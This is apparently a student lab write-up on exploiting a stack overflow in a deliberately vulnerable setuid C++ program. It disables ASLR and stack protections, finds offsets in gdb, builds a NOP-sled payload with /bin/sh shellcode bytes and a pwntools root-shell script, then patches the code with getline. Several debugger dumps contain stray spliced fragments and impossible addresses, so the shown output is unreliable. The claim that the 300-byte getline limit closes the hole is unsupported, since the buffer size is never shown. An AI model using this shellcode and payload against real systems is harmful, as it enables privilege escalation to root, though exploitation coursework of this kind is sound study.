

# Stack Overflow Exploitation in Python

## Compile with Makefile

The first thing we need to do to overflow the stack using a Python script is compile the program as an x86 32-bit program using a Makefile. The contents of the Makefile that was used can be seen below.

```
ubuntu@ip-172-31-7-64:~$ cat Makefile
COMPILER = g++

COMPILER_FLAGS = -g -Wall -m32 -fno-stack-protector -z execstack

PROGRAM_NAME = StackOverflowHWP.exe

CPP_FILES = StackOverflowHWP.cpp

build:
    $(COMPILER) $(COMPILER_FLAGS) $(CPP_FILES) -o $(PROGRAM_NAME)
    sudo chown root:root $(PROGRAM_NAME)
    sudo chmod +s $(PROGRAM_NAME)

clean:
    rm -f $(PROGRAM_NAME) *.o
ubuntu@ip-172-31-7-64:~$
```

## Disable Countermeasures and Exploit the Program

We can now disable the countermeasures as seen in the screenshots below. Some of the countermeasures are disabled in the Makefile (including stack canaries and PIE) and ASLR is disabled below.

```
ubuntu@ip-172-31-7-64:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
ubuntu@ip-172-31-7-64:~$ whoami
ubuntu
ubuntu@ip-172-31-7-64:~$ whoami
ubuntu
ubuntu@ip-172-31-7-64:~$ sudo -S cat /proc/sys/kernel/randomize_va_space
0
ubuntu@ip-172-31-7-64:~$
```

We can run **ldd** as a check to be sure that the buffer address is no longer shifting. The results of running **ldd** can be seen in the screenshot below.



```

[-----registers-----]
EAX: 0xffffe000
EBX: 0x56558fa4 --> 0x3ea4
ECX: 0x6c0
EDX: 0xffffffff
ESI: 0xffffd5d4 --> 0xffffffff
EDI: 0xf7fcb80 --> 0x0
EBP: 0xffffd3a8 --> 0xffffd4f8 ("MA%IA%8A%NA%jA%9A%OA%kA%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%As%AsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAsCAs2AsHAsdAs3AsIAsEAs4AsJAsfAs5AsKAsGAs6A\377\377\377\377\377\377\377\377"... )
ESP: 0xffffd390 --> 0xf7fb4c40 --> 0xf7fb1970 --> 0xf7ea98c0 (<_ZNSoD1Ev>: endbr32)
EIP: 0x565562d0 (<_Z5mgetsPc+120>: mov BYTE PTR [eax],dl)
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x565562c7 <_Z5mgetsPc+111>: mov     edx,eax
0x565562c9 <_Z5mgetsPc+113>: add     DWORD PTR [ebp-0xc],0x1
0x565562cd <_Z5mgetsPc+117>: mov     eax,DWORD PTR [ebp-0xc]
=> 0x565562d0 <_Z5mgetsPc+120>: mov     BYTE PTR [eax],dl
bu 0x565562d2 <_Z5mgetsPc+122>: jmp     0x565562b6 <_Z5mgetsPc+94>
0x565562d4 <_Z5mgetsPc+124>: nop
0x565562d5 <_Z5mgetsPc+125>: add     DWORD PTR [ebp-0xc],0x1
0x565562d9 <_Z5mgetsPc+129>: mov     eax,DWORD PTR [ebp-0xc]
[-----stack-----]
0000| 0xffffd390 --> 0xf7fb4c40 --> 0xf7fb1970 --> 0xf7ea98c0 (<_ZNSoD1Ev>: endbr32)
0004| 0xffffd394 ("!pUV\377\377\377\377")
0008| 0xffffd398 --> 0xffffffff
0012| 0xffffd39c --> 0xffffe000
0016| 0xffffd3a0 --> 0xffffd5d4 --> 0xffffffff sh.py file
0020| 0xffffd3e4 --> 0x56558fa4 --> 0x3ea4
0024| 0xffffd3a8 --> 0xffffd4f8 ("MA%IA%8A%NA%jA%9A%OA%kA%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%As%AsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAsCAs2AsHAsdAs3AsIAsEAs4AsJAsfAs5AsKAsGAs6A\377\377\377\377\377\377\377\377"... )
0028| 0xffffd3ac ("RCUV\304\323\377\377!pUV") \x89\xe3\x31"
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x565562d0 in mgets (dst=0xffffd3c4 "AAA%AsAABAA$AAAnAACAA-AA(AADAA;AA)AAEAAaAA0AFAAbAA1
AAGAAcAA2AAHAADAA3AAIAAeAA4AAJAAFAA5AAKAAGAA6AALAAHAA7AAMAAIAA8AANAAjAA9AA0AAKAApAA1AAQAA
mAAARAAoAASAApAATAAQAAUAArAAVAATAAWAAuAAxAAvAAyAAwAAZAAxAAyA"... ) at StackOverflowHWP.cpp:
41
41      *(&ptr) = ch;
gdb-peda$

```

```

[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x565562d0 in mgets (dst=0xffffd3c4 "AAA%AsAABAA$AAAnAACAA-AA(AADAA;AA)AAEAAaAA0AFAAbAA1
AAGAAcAA2AAHAADAA3AAIAAeAA4AAJAAFAA5AAKAAGAA6AALAAHAA7AAMAAIAA8AANAAjAA9AA0AAKAApAA1AAQAA
mAAARAAoAASAApAATAAQAAUAArAAVAATAAWAAuAAxAAvAAyAAwAAZAAxAAyA"... ) at StackOverflowHWP.cpp:
41
41      *(&ptr) = ch;
gdb-peda$ patts
Registers contain pattern buffer:
EDX+52 found at offset: 69
Registers point to pattern buffer:
[EBP] -->--> offset 308 - size ~227
Pattern buffer found at:
0x5655efc0 : offset 0 - size 500 ([heap])
0xf7b510dc : offset 33208 - size 4 (/usr/lib32/libm.so.6)
0xffffd3c4 : offset 0 - size 500 ($sp + 0x34 [13 dwords])
References to pattern buffer found at:
0xf7d78624 : 0x5655efc0 (/usr/lib32/libc.so.6)
0xf7d78628 : 0x5655efc0 (/usr/lib32/libc.so.6) x89\xe3\x31"
0xf7d7862c : 0x5655efc0 (/usr/lib32/libc.so.6)
0xf7d78630 : 0x5655efc0 (/usr/lib32/libc.so.6)
0xf7d78634 : 0x5655efc0 (/usr/lib32/libc.so.6)
0xf7d78638 : 0x5655efc0 (/usr/lib32/libc.so.6)
0xf7d7863c : 0x5655efc0 (/usr/lib32/libc.so.6)
0xffffd214 : 0x5655efc0 ($sp + -0x17c [-95 dwords]) user)
0xffffd2b8 : 0x5655efc0 ($sp + -0xd8 [-54 dwords])
0xffffd2e4 : 0x5655efc0 ($sp + -0xac [-43 dwords])
0xffffcfef0 : 0xffffd3c4 ($sp + -0x4a0 [-296 dwords])
0xffffd3b0 : 0xffffd3c4 ($sp + 0x20 [8 dwords])
gdb-peda$

```

We can then go ahead and run the program to get the address of the buffer. This can be seen in the screenshot below. The buffer is located at 0xffffd3e4.

```
ubuntu@ip-172-31-7-64:~$ ./StackOverflowHWP.exe
buffer is at 0xffffd3e4
Give me some text: asd
Acknowledged: asd with length 3
Good bye!
ubuntu@ip-172-31-7-64:~$ ./StackOverflowHWP.exe
buffer is at 0xffffd3e4
Give me some text: asdf
Acknowledged: asdf with length 4
Good bye!
ubuntu@ip-172-31-7-64:~$
```

We can edit our previously created payload (newPayload.bin) which exploits the program to spawn a shell. All we need to change is the address of the buffer which is located at a new address. The screenshot below shows the creation of the payload.

NOP sled = 272 bytes

Shellcode = 24 bytes

Address = 20 bytes

```
ubuntu@ip-172-31-7-64:~$ python3 -c 'import sys; sys.stdout.buffer.write(b"\x90" * 272)' > newPayload.bin
ubuntu@ip-172-31-7-64:~$ wc -c newPayload.bin
272 newPayload.bin
ubuntu@ip-172-31-7-64:~$ wc -c shellcode.bin
24 shellcode.bin
ubuntu@ip-172-31-7-64:~$ cat shellcode.bin >> newPayload.bin
ubuntu@ip-172-31-7-64:~$ wc -c newPayload.bin
296 newPayload.bin
ubuntu@ip-172-31-7-64:~$ python3 -c 'import sys; sys.stdout.buffer.write(b"\xe4\x03\xff\xff"*5)' >> newPayload.bin
ubuntu@ip-172-31-7-64:~$ wc -c newPayload.bin
316 newPayload.bin
ubuntu@ip-172-31-7-64:~$ hexdump -C newPayload.bin
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90  |.....|
*
00000110  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 31  |1.Ph//shh/bin..1|
00000120  c9 89 ca 6a 0b 58 cd 80  e4 d3 ff ff e4 d3 ff ff  |...j.X.....|
00000130  e4 d3 ff ff e4 d3 ff ff  e4 d3 ff ff              |.....|
0000013c
```

The results of using the payload to exploit the program to spawn a shell can be seen in the screenshot below.





[illegible]

We can also exploit the program by sending remote root shellcode. This can be seen in the screenshot below. Note: in the files submitted to GitHub this file is named *“shellcode exploit.py”*.

[illegible]

For this exploit to work a few changes to the template python script need to be made. First, the **recvline** command was misspelled and needed to be corrected in a few places. Next, the target program needed to be updated as well as the length of the pattern that should be sent to overflow the buffer. Below is a screenshot of the relevant areas in the python script where significant changes were made.



```

io = start()
#offset:
io.sendline(cyclic(400,n=4))
io.wait()

core = io.corefile
payload_len = cyclic_find(core.read(core.esp, 4), n=4) #esp = eip+4
print(f'payload_len = {payload_len}')

io = start()
io.recvuntil(' at ')
address = int(io.recvline(False), 16)
repeat_ret_address = p32(address)*5

#io = start()
#io.recvuntil(' at ')
#address = int(io.recvline(False), 16)
#repeat_ret_address = -32(address)*5

shellcode_user = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    b"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

```

Below is dedicated to some of the major issues that were encountered during this process. First being that I was unable to get pwntools installed on my x86 intel Ubuntu 14.04 UTM virtual machine. Although the VM has been unbearably slow, I haven't had an issue actually getting anything to work until I attempted to install pwntools. The pip and python libraries were all corrupted and no matter how many times I restarted the VM I encountered the same issues. To complete this assignment, I created an x86 Linux Ubuntu 20.04 AWS instance that I SSH into. This worked, although it did require a substantially sized instance in order to allow the buffer to be overridden and the core files to be generated.

One of the major issues that I encountered once I had an environment set up that was working was that there wasn't a core file that was generated. In order to fix this, I had to get pwntools to generate core files. After it was generating them, they were being placed in **/var/lib/apport/coredump** and were named incorrectly as seen in the screenshot below.



```

ubuntu@ip-172-31-28-159:~$ sudo python3 so_stdio_exploit.py
[*] '/home/ubuntu/StackOverflowHWP.exe'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process '/home/ubuntu/StackOverflowHWP.exe': pid 16635
[*] Process '/home/ubuntu/StackOverflowHWP.exe' stopped with exit code 0 (pid 16635)
[ERROR] Could not find core file for pid 16635
Traceback (most recent call last):
  File "/home/ubuntu/so_stdio_exploit.py", line 53, in <module>
    core = io.corefile
  File "/usr/local/lib/python3.10/dist-packages/pwntools/tubes/process.py", line 926, in corefile
    self.error("Could not find core file for pid %i" % self.pid)
  File "/usr/local/lib/python3.10/dist-packages/pwntools/log.py", line 439, in error
    raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Could not find core file for pid 16635
ubuntu@ip-172-31-28-159:~$ sudo python3
Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
ubuntu@ip-172-31-28-159:~$ ls /var/lib/apport/coredump
core._home_ubuntu_StackOverflowHWP_exe.0.15e77b50-a4fd-4f0b-953b-333be80c394e.16451.10881211
core._home_ubuntu_StackOverflowHWP_exe.0.15e77b50-a4fd-4f0b-953b-333be80c394e.16619.11012743
ubuntu@ip-172-31-28-159:~$

```

In order to fix these issues, I used the following commands:

***Ulimit -c unlimited***

***Sudo sysctl -w kernel.core\_pattern="/home/ubuntu/core.%p"***

Which forced the creation of the core files as well as forced a naming scheme and destination after creation. After running these commands pwntools was generating the core files correctly and I was able to troubleshoot a few smaller errors (like the core files not possessing the correct attributes) by editing and fixing issues in the python script directly.

## Patch the Vulnerability

We are now ready to patch the vulnerability located in the StackOverflowHWP.cpp file. In order to do that I changed the line that called the function ***mgets()*** to instead call the function ***getline()***. This change was useful in patching the vulnerability because the ***getline()*** function allows the programmer to specify that the input stream should be truncated after a certain number of bytes (in this case 300). This change means that it isn't possible to pass more than 300 bytes to the program so any exploit code that is passed to the program won't be effective since the payload will be truncated after 300 bytes which will prevent any unauthorized changes to memory beyond the bounds of the buffer size. This change can be seen in the screenshot below as well as in the StackOverflowHWPpatched.cpp file.

```

void bad()
{
    char buffer[BUFSIZE];
    printf("buffer is at %p\n", buffer);
    cout << "Give me some text:\n";
    fflush(stdout); // stream is open after this call

    cin.getline(buffer, 300); // I can call getline instead of mgets to cut off the input stream when 300 bytes is reached
    // mgets(buffer);
    cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << endl;
    // gets(buffer); // deprecated
}

```

## Verify the Vulnerability has been patched

We can verify that the vulnerability has been patched by compiling and running the modified cpp program and making sure that passing a pattern longer than 300 will be truncated. This can be seen in the screenshot below.



